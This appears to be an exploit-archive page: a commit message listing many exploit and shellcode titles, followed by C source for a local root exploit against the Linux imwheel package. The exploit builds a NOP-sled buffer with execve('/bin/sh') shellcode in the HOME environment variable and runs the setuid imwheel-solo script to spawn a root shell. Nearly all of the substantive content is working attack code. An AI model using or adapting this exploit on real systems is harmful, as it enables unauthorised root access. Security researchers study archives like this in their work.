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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
39 lines
No EOL
1.4 KiB
C
39 lines
No EOL
1.4 KiB
C
// source: https://www.securityfocus.com/bid/1060/info
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A vulnerability exists in the 'imwheel' package for Linux. This package is known to be vulnerable to a buffer overrun in its handling of the HOME environment variable. By supplying a sufficiently long string containing machine executable code, the imwheel program can be caused to run arbitrary commands as root. This is due to a setuid root perl script named 'imwheel-solo' which invokes the imwheel program with effective UID 0.
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/*
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* imwheel local root exploit [ RHSA-2000:016-02 ]
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* funkysh 04/2000 funkysh@kris.top.pl
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*/
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#include <stdlib.h>
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#include <stdio.h>
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#define BUFFER 2070
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#define NOP 0x90
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#define PATH "/usr/X11R6/bin/imwheel-solo"
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char code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"
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"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
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"\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
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"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
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unsigned long getesp(void) { __asm__("movl %esp,%eax"); }
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int main(int argc, char *argv[])
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{
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int i, offset = 0;
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char buf[BUFFER];
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long address;
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if(argc > 1) offset = atoi(argv[1]);
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address = getesp() + 1000 + offset;
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memset(buf,NOP,BUFFER);
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memcpy(buf+(BUFFER-300),code,strlen(code));
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for(i=(BUFFER-250);i<BUFFER;i+=4)
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*(int *)&buf[i]=address;
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setenv("DISPLAY", "DUPA", 1);
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setenv("HOME", buf, 1);
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execl(PATH, PATH, 0);
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} |